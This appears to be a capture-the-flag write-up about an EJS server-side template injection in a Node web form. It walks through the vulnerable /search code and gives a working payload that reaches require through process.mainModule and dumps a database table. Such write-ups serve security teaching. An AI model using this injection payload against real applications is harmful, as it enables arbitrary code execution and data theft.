Flash CTF – Checking It Twice

Challenge Overview

In this challenge, we are presented with a simple web form for Santa Claus’ naughty or nice list. The form only takes a person’s name in the format: firstname, lastname. The goal of the CTF, as stated in the description, is to steal the entire list from Claus for some megacorp. To do this, take advantage of an EJS server-side template injection to run code to steal the list.

Understanding the Vulnerability

This vulnerability can be spotted in the /search endpoint in app.js. It seems that some code was poorly copied from the success return of /search to the error return of /search. The string being passed to ejs.render in the error return is a format string, leading to EJS rendering a complete string that the user can control.

app.post('/search', (req, res) => {
    const name = req.body.name?.split(',');
    // Error return for bad input
    if (name == undefined || name.length < 2) {
        res.render('index', {
            theme: mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' },
            result: true,
            // Vulnerable call to ejs
            message: ejs.render(`${name} is invalid, format must be first name, last name.`),
        });
        return
    }
    const first_name = name[0].toLowerCase().trim()
    const last_name = name[1].toLowerCase().trim()
    let status = db.checkNiceStatus(first_name, last_name)
    if (!status.found) {
        status = mode == 'nice' ? db.addToList(first_name,last_name,true, false) : db.addToList(first_name,last_name,false, true)
    }
    const result = mode == "nice" ? status.nice : status.naughty
    // Code was probably copied from here with considering the context
    res.render('index', {
        theme: mode === 'nice' ? { title: 'Nice List Search', color: '#DFFFD6' } : { title: 'Naughty List Search', color: '#2E2E2E' },
        result: result,
        message: ejs.render(message_template, {
            result: mode,
            name: first_name
        }),
    });
});

Locating the Flag

Looking at the JavaScript code, there is only one file, flag.js, that interacts with the flag.txt file, providing functions to read and delete the flag. The only module that imports flag.js functions is db.js. The database reads the flag in the seedDatabase() function and splits it in half. It then inserts these two halves into the database as first_name and last_name. After the insertion, the flag file is deleted, so the flag only exists in the database.

function seedDatabase() {
    // Read flag in
    const flag_string = flag.readFlag();
    const seedData = [
        ````
        //Split flag and insert
        { first_name: flag_string.slice(0,14), last_name: flag_string.slice(14), nice: true, naughty: false },
    ];
    // Delete the file
    flag.deleteFlag();

So the only way to retrieved flag, is to dump the entire database and join the first_name and last_name fields.

Exploitation Strategy

Now that we know the code we need to run to retrieve the flag and where the vulnerability is in the code, the next step is to write the exploit. We need our exploit to land in the vulnerable EJS render, so our input must be invalid. Looking at app.js, input must either be undefined or missing a “,” to be considered invalid. Obviously, our exploit can’t be undefined, but we can work with the “no “,”” rule.

Our exploit must call the database. Fortunately, db.js exports a convenience function called queryDb() that lets us run any kind of query on the database. To call this database function, we need to bring it into scope by climbing up the module tree to call require. So, our exploit should look something like this: global.process.mainModule.require('./db.js').queryDb('SELECT * FROM santas_list').map(row=>row.first_name+row.last_name).join(" ").

We run the SQL query to pull all fields from the database and then map and join the results to avoid EJS from just printing [object Object].

Finally, to get EJS to render this code, we need to wrap it in EJS tags <%- %>. This gives us:<%- global.process.mainModule.require('./db.js').queryDb('SELECT * FROM santas_list').map(row=>row.first_name+row.last_name).join(" ") %>. This is what we place into the name field to retrieve the entire list.

Conclusion

This challenge highlights the dangers of accidentally passing user-controlled input to template renderers without validation. Validating inputs and only rendering strings that need to be rendered would have prevented this. Additionally, protecting the database by not exporting generic query functions through encapsulation would prevent arbitrary reads from the database in case the site is breached.